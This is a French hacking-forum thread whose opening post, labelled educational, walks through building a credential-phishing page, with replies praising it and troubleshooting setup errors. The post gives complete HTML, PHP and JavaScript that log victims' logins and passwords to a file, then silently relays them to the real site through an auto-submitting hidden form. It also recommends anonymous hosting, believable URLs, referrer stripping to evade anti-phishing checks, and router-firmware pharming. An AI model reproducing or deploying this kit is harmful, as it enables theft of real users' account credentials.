Annonce

Réduire
Aucune annonce.

Phishing avancé

Réduire
X
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Phishing avancé

    Démonstration de phishing : ce tutoriel est à strict but éducatif.

    Tout d'abord, le phishing comporte une grande part de "social engineering" car il faut mettre en confiance la victime pour l'amener à se connecter sur un site contrefait où ses données confidentielles (login, mot de passe...) seront récupérées sans qu'elle se doute de rien... Autrement dit, le phishing, pour réussir, a besoin de la participation active de la victime.

    Dans ce tutoriel, nous ne nous intéresserons qu'à l'aspect technique de la chose, à savoir la récupération des données.

    Ce tutoriel est réalisé sous Mac OS X ; il peut cependant être malléable aux autres OS à partir de la Partie II.

    Nous allons tout d'abord créer un petit formulaire type "login/password" qui enregistrera les données validées, et les conservera dans un fichier sur un serveur local.

    Note : nous n'avons pas besoin d'une base de données car le PHP nous permet d'écrire directement dans un fichier.

    La méthode la plus simple est d'activer le serveur Apache qui est installé par défaut sur Mac OS X. Si vous avez déjà un serveur local (Apache, MAMP), passez directement à l'ETAPE 2.

    ETAPE 1 - Activation du serveur Apache ou MAMP

    1. Dans la barre de menu du Finder, en haut à gauche de votre écran, cliquez sur le menu "Aller" et sélectionnez "Aller au dossier".

    2. Une petite fenêtre s'ouvre alors avec un champ de texte dans lequel vous collez :

    Code:
    /etc/apache2/
    Puis cliquez sur "Aller".

    3. Dans le dossier qui s'ouvre, vous voyez alors un fichier qui s'appelle "httpd.conf".

    C'est ce fichier que nous devons ouvrir pour le modifier. Vous pouvez toujours l'ouvrir en le glissant sur l'icone de TextEdit mais vous ne pourrez pas sauvegarder les modifications, car ce fichier se trouve à la racine du système et il faut avoir les privilèges de "root" pour le modifier.

    Je vous conseille d'ouvrir ce fichier avec un éditeur de texte. Personnellement, j'utilise TextWrangler, qui est gratuit, très pratique et que vous trouverez ici :

    http://www.barebones.com/products/textwrangler/ (sur la droite)

    Une fois TextWrangler téléchargé et installé, glissez le fichier "httpd.conf" sur son icone pour qu'il s'ouvre avec cette application.

    4. Pour que TextWrangler affiche les numéros des lignes, allez dans les préférences et, dans la colonne de gauche, sélectionnez "Text Status Display" (avant-dernier item) puis dans la colonne de droite, tout en bas, cochez la case "Show line numbers" et refermez les préférences. C'est bien plus pratique comme ça !

    Dans le fichier "http.conf", cherchez la ligne :

    Code:
    #LoadModule php5_module libexec/apache2/libphp5.so
    Décommentez cette ligne, c'est-à-dire effacez simplement le petit dièse (#) qui se trouve au début.

    Ensuite, allez à la ligne 392 et, entre les lignes :

    Code:
    #AddHandler cgi-script.cgi
    et

    Code:
    # For type maps (negotiated resources)
    ajoutez cette ligne :

    Code:
    AddType application/x-httpd-php .php .php5

    Cette ligne ajoutée sert simplement à montrer au serveur que les fichiers index.php et index.php5 sont des fichiers par défaut.

    Une fois le fichier modifié, refermez-le. Lors de l’enregistrement, TextWrangler vous demande votre mot de passe administrateur, ce qui est normal puisque ce fichier est protégé.

    Nous allons maintenant faire un test pour voir si le serveur Apache fonctionne. Pour cela, créez un nouveau fichier avec votre éditeur de texte et collez simplement ce code sur la page :

    Code:
    <?php
    phpinfo();
    ?>

    Enregistrez ce fichier sous le nom "phpinfo.php" et mettez-le dans le dossier suivant :

    /Library/WebServer/Documents/

    Tous les fichiers du site que nous allons créer se trouveront dans ce dossier "Documents".

    (Attention, le dossier "Bibliothèque" dont je parle ici est celui qui se trouve à la racine de votre disque dur, et non pas celui qui se trouve dans votre dossier "Users".)

    Ouvrez ensuite les "Préférences Système", cliquez sur "Partage" et cochez la case "Partage Web" (si vous n'arrivez pas à cocher la case, cliquez sur le petit cadenas en bas à gauche de la fenêtre pour le déverrouiller).

    Cliquez sur le lien http://localhost/phpinfo.php (ou http://127.0.0.1/phpinfo.php), et si votre serveur Apache fonctionne correctement, vous devriez voir s'afficher le tableau de configuration de PHP.

    ETAPE 2 - Préparation des fichiers

    - créer 3 fichiers :

    1. Création du formulaire de connexion ;
    2. Création du script PHP ;
    3. Création du fichier "log.txt".

    1. Création du formulaire de connexion

    D'abord, un petit formulaire basique en html du type login/password qui sera la fenêtre de connexion. Je crée donc un nouveau fichier avec mon éditeur de texte, sur lequel je colle le code suivant :

    Code:
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title>Le Phishing pour les Nuls</title>
    </head>
    <body>
    <form action="script.php" method="post">
    <table align="center" border="0">
    <tr>
    <td>Login :</td>
    <td>
    <input type="text" name="username" id="username" value="" size="25" maxlength="40" />
    </td></tr>
    <script language="JavaScript" type="text/javascript">
    document.getElementById('username').focus();
    </script>
    <tr><td>Password :</td>
    <td><input type="password" name="password" value="" size="25" maxlength="32" /></td></tr>
    <tr>
    <td colspan="2" align="center">
    <br><input type="submit" value="Envoi">
    </td></tr>
    </table>
    </form>
    </body>
    </html>
    Je sauvegarde ce fichier sous le nom "index.html" dans le dossier "Documents" (pour moi, dans "Sites" > "phishing").

    Si votre serveur est activé, en cliquant sur le lien http://localhost (pour moi : http://localhost:8888/phishing/index.html ), vous devriez voir deux champs (login/pwd).

    Dans le code de ce formulaire, on remarquera particulièrement cette ligne :

    Code:
    <form action="script.php" method="post">
    Cela signifie que les données du formulaire seront envoyées vers le fichier "script.php" qui sera conservé dans le même répertoire. C'est ce fichier que nous allons maintenant créer.

    Quant au javascript, il sert simplement à donner le focus au champ "username" à l'ouverture de la page. Il n'est d'ailleurs pas indispensable.

    2. Création du script PHP

    Avec l'éditeur de texte, j'ouvre un nouveau fichier dans lequel je colle le code suivant :

    Code:
    <?php // Ce script va ouvrir un fichier log.txt, inscrire les données du formulaire et refermer le fichier.
    $fp = fopen ("log.txt", "a");
    fputs($fp, "\n");
    fputs ($fp, "login : ".$_POST['username']);
    fputs ($fp, " / password : ".$_POST['password']);
    fclose ($fp);
    ?>
    <?php // Ce script va faire une redirection automatique vers l'adresse de mon choix (ici : developer.yahoo.com/hacku)
    header('Location: http://developer.yahoo.com/hacku/index.html'); // dans mon cas http://www.facebook.com
    exit;
    ?>
    Prenez garde qu'il n'y ait pas d'espace en haut de la page, ni de code html, sinon la redirection "header" ne fonctionnera pas !

    Je sauvegarde ce fichier sous le nom "script.php" dans le dossier "Documents".

    Le premier script va écrire les données collectées dans un fichier "log.txt" sous la forme :

    login : login de la victime 1 / password : mot de passe de la victime 1
    login : login de la victime 2 / password : mot de passe de la victime 2
    etc...

    Ce fichier sera bien sûr conservé sur le serveur local et je pourrai le consulter à tout moment !

    Le deuxième script est une simple redirection en PHP vers la page de mon choix.

    Quand la victime aura cliqué sur le bouton "envoi" du formulaire, elle sera immédiatement redirigée vers cette page sans s'apercevoir que ses données auront été entre-temps stockées sur mon serveur !

    3. Création du fichier "log.txt"

    Ce fichier est le plus simple à créer puisqu'il ne contient... rien. Il sera simplement destiné à collecter les données de connexion.

    Je crée donc un fichier vide, que je sauvegarde dans le dossier "Documents" sous le nom "log.txt".

    Si vous le créez avec TextEdit, convertissez-le en "format texte", sinon ça ne marche pas !

    Les 3 fichiers ont maintenant été créés. Il ne reste plus qu'à vérifier leur fonctionnement !

    Mais avant toute chose, pour éviter un message d'erreur portant sur les autorisations, revenez dans le dossier "Documents", faites un clic droit sur chacun de ces fichiers, sélectionnez "lire les informations", cliquez sur le petit cadenas en bas à droite de la fenêtre et modifiez les autorisations en choisissant "Lecture et écriture" pour chacune des catégories d'utilisateurs.

    Vous pouvez maintenant tester le formulaire en cliquant sur votre adresse locale : http://127.0.0.1 ou http://localhost . Il faut bien sûr que votre serveur soit activé !

    Depuis internet, votre site sera accessible à partir de l'adresse :

    http://votre_adresse_ip

    Si votre firewall est activé, pensez à ouvrir le port 80 ; si vous voulez que votre serveur soit accessible, pensez également à faire un port mapping sur le port 80 en vous connectant à l'interface web de votre routeur.

    Quand le formulaire s'affiche à l'écran, remplissez-le avec les données que vous voulez et validez. Si tout fonctionne bien, vous serez redirigé vers la page "Hack U" de Yahoo! et vous pourrez vérifier ensuite que ces données ont bien été enregistrées dans le fichier "log.txt".

    Dans cet exemple très basique, les login et password de la victime sont simplement interceptés par le serveur hébergeant le formulaire, et la victime va être redirigée vers une page de mon choix. Autrement dit, le fait de valider le formulaire en cliquant sur "envoi" ne va pas, en réalité, lui permettre de se connecter dans l'"espace membres" d'un site ni sur sa boîte e-mail ! Si elle a fait une erreur de frappe en entrant ses données, il n'y aura aucun message d'erreur, ce qui peut évidemment lui mettre la puce à l'oreille !

    Mais, même sous cette forme rudimentaire, le piège peut déjà fonctionner.

    ETAPE 3 - Récupérer les données du formulaire et connecter la victime sur un serveur distant

    Allons maintenant un peu plus loin. Je veux qu'en validant le formulaire, la victime se connecte réellement sur un site. Il suffira pour cela d'apporter quelques modifications à mes fichiers.

    Pour le test, je veux que ceux qui remplissent le formulaire hébergé sur mon serveur local, après avoir entré leur nom d'utilisateur et leur mot de passe de membres d'un forum quelconque soient, une fois le formulaire validé, redirigés vers ce forum et connectés en tant que membres, exactement comme s'ils avaient validé le formulaire sur la page de connexion du site. La seule différence, c'est que leurs données auront été enregistrées sur mon serveur sans qu'ils le sachent !

    Cela peut fonctionner évidemment avec toute page de connexion : interface Hotmail, Yahoo!, ou tout "espace membre" d'un site qui nécessite une connexion.

    Je dois d'abord étudier quelles sont les variables PHP dont le serveur-cible a besoin pour établir la connexion.

    Je peux connaître ces variables en allant sur la page de connexion du site visé et en examinant le code source (clic droit).

    Dans le code source de la page d'accueil du forum que je souhaite phisher (page à laquelle je n'accède que si je suis déconnecté) je cherche les caractéristiques du formulaire de connexion :

    Exemple type (forum_test) :

    Code:
    <form action="/login.forum" method="post" name="form_login"><table width="100%" border="0" cellspacing="2" cellpadding="0" align="center"><tr><td class="nav"><a class="nav" href="/forum.htm">forum_test</a></td></tr></table><table class="forumline" width="100%" border="0" cellspacing="1" cellpadding="4" align="center"><tr><th class="thHead" nowrap="nowrap" height="25">Veuillez entrer votre nom d'utilisateur et votre mot de passe pour vous connecter.</th></tr><tr><td class="row1"><table width="100%" border="0" cellspacing="1" cellpadding="0"><tr><td colspan="2" align="center">&nbsp;</td></tr><tr><td align="right" width="45%"><span class="gen">Nom d'utilisateur:</span></td><td><input type="text" name="username" value="" size="25" maxlength="40" /></td></tr><tr><td align="right"><span class="gen">Mot de passe:</span></td><td><input type="password" name="password" size="25" maxlength="32" /></td></tr><tr align="center"><td colspan="2"><span class="gen">Connexion automatique: <input type="checkbox" name="autologin"checked="checked" /></span></td></tr><tr align="center"><td colspan="2"><input type="hidden" name="redirect" value="" /><input type="hidden" name="query" value="" /><input class="mainoption" type="submit" name="login" value="Connexion" /></td></tr><tr align="center"><td colspan="2"><br /><span class="gensmall"><a class="gensmall" href="profile.forum?mode=register">::&nbsp;S'enregistrer</a>&nbsp;&nbsp;|&nbsp;&nbsp;<a class="gensmall" href="/profile.forum?mode=sendpassword">::&nbsp;Récupérer mon mot de passe</a></span></td></tr></table></td></tr></table></form>
    Dans ce code, je repère d'abord la balise "form" :

    Code:
    <form action="/login.forum" method="post" name="form_login">
    Elle nous indique que la validation du formulaire va envoyer les variables sur la page "login.forum", dont le chemin absolu est "http://www.forum_test/login.forum".

    Je regarde ensuite quelles sont les variables ou les chaînes de caractères traitées par le serveur en examinant les balises "input". Il y en a 6 :

    Code:
    <input type="text" name="username" value="" size="25" maxlength="40" />
    <input type="password" name="password" size="25" maxlength="32" />
    <input type="checkbox" name="autologin"checked="checked" />
    <input type="hidden" name="redirect" value="" />
    <input type="hidden" name="query" value="" />
    <input class="mainoption" type="submit" name="login" value="Connexion" />

    J'ouvre maintenant le fichier "script.php" pour le modifier.

    Dans la partie du script destinée à inscrire les données dans le fichier "log.txt", je vois que les variables sont déclarées par les noms "username" et "password". Ces noms étant les mêmes que ceux qui sont utilisés sur la page de connexion du forum, il n'y aura pas besoin de les modifier.

    En revanche, la redirection n'ayant plus lieu d'être, je supprime cette partie :

    Code:
    <?php
    header('Location: http://developer.yahoo.com/fhacku/index.html');
    exit;
    ?>

    Il me reste maintenant à écrire le code pour envoyer les variables sur la page de connexion du serveur-cible où elles seront traitées.

    Pour envoyer ces variables, je vais utiliser un formulaire invisible, c'est-à-dire un formulaire dont toutes les variables seront cachées ("hidden").

    Déclaration du formulaire :

    Code:
    <form action="http://www.forum_test.com/login.forum" method="post" name="form_login" id="hack">

    Ici, j'ai simplement repris la balise du code source de la page de connexion du serveur-cible en apportant 2 modifications :

    - J'ai modifié le chemin relatif (/login.forum) en chemin absolu (http://www.forum_test.com/login.forum).
    - J'ai ajouté un identifiant (hack) à cette balise, car j'aurai besoin un peu plus loin de l'appeler depuis un javascript.

    J'ajoute maintenant les balises "input" dans lesquelles j'inclus les variables PHP déclarées pour le login et le mot de passe de la victime qui seront envoyées au serveur-cible pour établir la connexion :

    Code:
    <input type="hidden" name="username" value="<?php echo $_POST['username']; ?>" />
    <input type="hidden" name="password" value="<?php echo $_POST['password']; ?>" />
    Enfin, j'ajoute les 4 autres balises "input" qui peuvent être utiles au serveur-cible afin de traiter l'information :

    Code:
    <input type="hidden" name="autologin"checked="checked" />
    <input type="hidden" name="redirect" value="" />
    <input type="hidden" name="query" value="" />
    <input class="mainoption" type="hidden" name="login" value="Connexion" />
    </form>
    On constate que j'ai modifié le type de toutes ces balises en "hidden" afin qu'elles soient cachées.

    Encore faut-il maintenant que ce formulaire puisse être envoyé ! Je ne peux évidemment pas mettre un bouton "envoi" sur ce script, puisque la victime a déjà cliqué une fois sur le bouton "envoi" depuis la page "index.html".

    Je vais donc ici utiliser un javascript qui va envoyer automatiquement les variables lors du chargement de la page :

    Code:
    <script type="text/javascript">
    function envoi () {
    var frm = document.getElementById("hack");
    frm.submit();
    }
    window.onload = envoi;
    </script>
    Ce script va donc appeler le formulaire auquel j'ai attribué plus haut l'identifiant "hack" et l'envoyer dès le chargement de la page.

    Voici donc, pour résumer, le nouveau fichier "script.php" une fois modifié :

    Code:
    <?php // Ce script va ouvrir un fichier log.txt, inscrire les données du formulaire et refermer le fichier.
    $fp = fopen ("log.txt", "a");
    fputs($fp, "\n");
    fputs ($fp, "login : ".$_POST['username']);
    fputs ($fp, " / password : ".$_POST['password']);
    fclose ($fp);
    ?>
    <!-- Ce formulaire va envoyer des variables "cachées" au serveur cible -->
    <form action="http://www.forum_test.com/login.forum" method="post" name="form_login" id="hack">
    <input type="hidden" name="username" value="<?php echo $_POST['username']; ?>" />
    <input type="hidden" name="password" value="<?php echo $_POST['password']; ?>" />
    <input type="hidden" name="autologin"checked="checked" />
    <input type="hidden" name="redirect" value="" />
    <input type="hidden" name="query" value="" />
    <input class="mainoption" type="hidden" name="login" value="Connexion" />
    </form>
    <!-- Ce script va soumettre automatiquement le formulaire -->
    <script type="text/javascript">
    function envoi () {
    var frm = document.getElementById("hack");
    frm.submit();
    }
    window.onload = envoi;
    </script>

    Il ne me reste plus qu'à sauvegarder le fichier ainsi modifié dans le dossier "Documents", et à tester le formulaire de connexion en cliquant sur : http://localhost (ou http://127.0.0.1)

    Vous pouvez maintenant entrer vos identifiants à ce forum dans le formulaire qui s'affiche à l'écran et cliquer sur "envoi".

    Si tout fonctionne, vous devriez maintenant vous retrouver connecté à ce forum !

    Pour que le test soit probant, il faut bien sûr que vous soyez membre du site en question et que vous ne soyez pas déjà connecté sur le site au moment de l'envoi du formulaire ! Sinon vous n'aurez aucun moyen de vérifier que ça marche !

    Un tel script, vous l'aurez compris, peut s'avérer redoutable. Il est très facile de contrefaire la page de connexion d'un hébergeur de webmail et de récupérer les adresses e-mail et les mots de passe de victimes qui ne se douteront de rien.

    Comme hébergeur pour votre page de phishing (qu'elle ne soit plus en locale comme démontré lors de ce tutoriel), je vous conseille des hébergeurs gratuits, évidemment, mais surtout anonymes, tels que "t35".

    Il vous suffira de donner un URL crédible à votre site de phishing ; URL que vous pourrez modifier par la suite si vous le souhaitez, en procédant à un URL rewriting, comme par exemple ici : sur http://www.dot.tk/fr/index.html?lang=fr .

    Des dispositions anti-phishing sont mises en place, comme sur Facebook, mais sont inutiles ; en effet, il suffit simplement de modifier le refferer comme ici

    http://norefer.org/

    Le pharming est une technique de phishing encore plus élaborée qui permet de rediriger les requêtes par de faux adressages DNS. Il suffit de prendre le contrôle d'un routeur et d'uploader un faux firmware pour modifier le cache et diriger les requêtes d'un site A vers un site B qui sera une contrefaçon du premier. Le procédé est d'autant plus redoutable qu'il est indécelable ! Même si l'internaute se méfie et tape l'adresse du site qu'il veut visiter directement dans la barre URL, il sera dirigé sans le savoir vers le site contrefait...
    sigpic

    Cyprium Download Link

    Plus j'étudie plus j'me rends compte que je n'sais rien.

    †|

  • #2
    le lien http://localhost/phpinfo.php (ou http://127.0.0.1/phpinfo.php) ne s'ouvre pas aidez moi SVP c juste avant la 2 partie

    Commentaire


    • #3
      Tres bien comme tuto!
      Je fais des cours de SSI à mon lycée (de mon niveau hein, jai 15ans je suis pas un pro) et je crois que je vais les invitez à venir sur ce forum
      Ca change des packs de phising tout pres au tout les kiddies ne comprennent meme pas comment ca marche
      Qu'est-il le plus important à ton avis : apprendre par coeur des pages et de pages de livres, ou avoir la capacité de retrouver facilement et rapidement toutes les informations nécessaires ?

      Commentaire


      • #4
        Pas mal, j'y avais jamais penser à rediriger directement l'utilisateur.
        Ça évite d'avoir les mêmes ID en double, merci du partage !

        Commentaire


        • #5
          On sent un instinct de black-Hat qui remonte SAKA
          sigpic

          Commentaire


          • #6
            D'ailleurs pour les loggins et mdp c'est par ici
            Qui est le maître, le peintre ou le faussaire... ?

            ㅡ La solidité d'une chaine est égale à la solidité de son maillon le plus faible ㅡ

            Commentaire


            • #7
              Attention au Reverse Engineering qui est très facile si vous ne changez pas le nom du fichier "log.txt" qui reste souvent le même pour tout le monde, après tu tombe sur une page phishing et hop tu récupère tout le travail d'un autre

              Commentaire


              • #8
                salut je suis en train de suivre un tuto sur ce blog et une etape dit de faire "Ouvrez ensuite les "Préférences Système", cliquez sur "Partage" et cochez la case "Partage Web" (si vous n'arrivez pas à cocher la case, cliquez sur le petit cadenas en bas à gauche de la fenêtre pour le déverrouiller). " mais je ne trouve pas ce que c'est, il y a bien un dossier partage mais pas de partage web pouvez vous m'aider ?

                Commentaire


                • #9
                  darkbackdoor

                  "Ce tutoriel est réalisé sous Mac OS X..."


                  Commentaire


                  • #10
                    oui j'ai trouvé si il y en a qui on le même problème sur OSX vous devez télecharger "Web Sharking" car ils ont enlevé l'option patage Web sur les nouveau MAC

                    ma question suivante est pourquoi il m'affiche se code d'erreur quand je me connecte a la page qu'on a créé pour se loger ?

                    le code :
                    Warning: fopen(log.txt): failed to open stream: Permission denied in /Library/WebServer/Documents/script.php on line 2

                    Warning: fputs() expects parameter 1 to be resource, boolean given in /Library/WebServer/Documents/script.php on line 3

                    Warning: fputs() expects parameter 1 to be resource, boolean given in /Library/WebServer/Documents/script.php on line 4

                    Warning: fputs() expects parameter 1 to be resource, boolean given in /Library/WebServer/Documents/script.php on line 5

                    Warning: fclose() expects parameter 1 to be resource, boolean given in /Library/WebServer/Documents/script.php on line 6

                    Warning: Cannot modify header information - headers already sent by (output started at /Library/WebServer/Documents/script.php:2) in /Library/WebServer/Documents/script.php on line 9

                    Commentaire


                    • #11
                      up

                      Commentaire


                      • #12
                        Envoyé par darkbackdoor Voir le message

                        ma question suivante est pourquoi il m'affiche se code d'erreur quand je me connecte a la page qu'on a créé pour se loger ?
                        la réponse est marqué dans ton message:

                        "Warning: fopen(log.txt): failed to open stream: Permission denied in /Library/WebServer/Documents/script.php on line 2"

                        le fichier "script.php" ne peux pas écrire dans le fichier "log.txt" car il n'a pas les droits en écriture.

                        donc tu ouvre le terminal tu va dans le répertoire concerné et tu fait un chmod 777 sur le fichier en question...

                        ou sinon tu prend le temps de vraiment lire le tuto car c'est marqué noir sur blanc...

                        "Mais avant toute chose, pour éviter un message d'erreur portant sur les autorisations, revenez dans le dossier "Documents", faites un clic droit sur chacun de ces fichiers, sélectionnez "lire les informations", cliquez sur le petit cadenas en bas à droite de la fenêtre et modifiez les autorisations en choisissant "Lecture et écriture" pour chacune des catégories d'utilisateurs."

                        Commentaire


                        • #13
                          Je suis à la lettre le tutoriel, hors, au niveau de la partie 2, je ne reçois rien dans on fichier .txt, pourquoi ?

                          Commentaire

                          Chargement...
                          X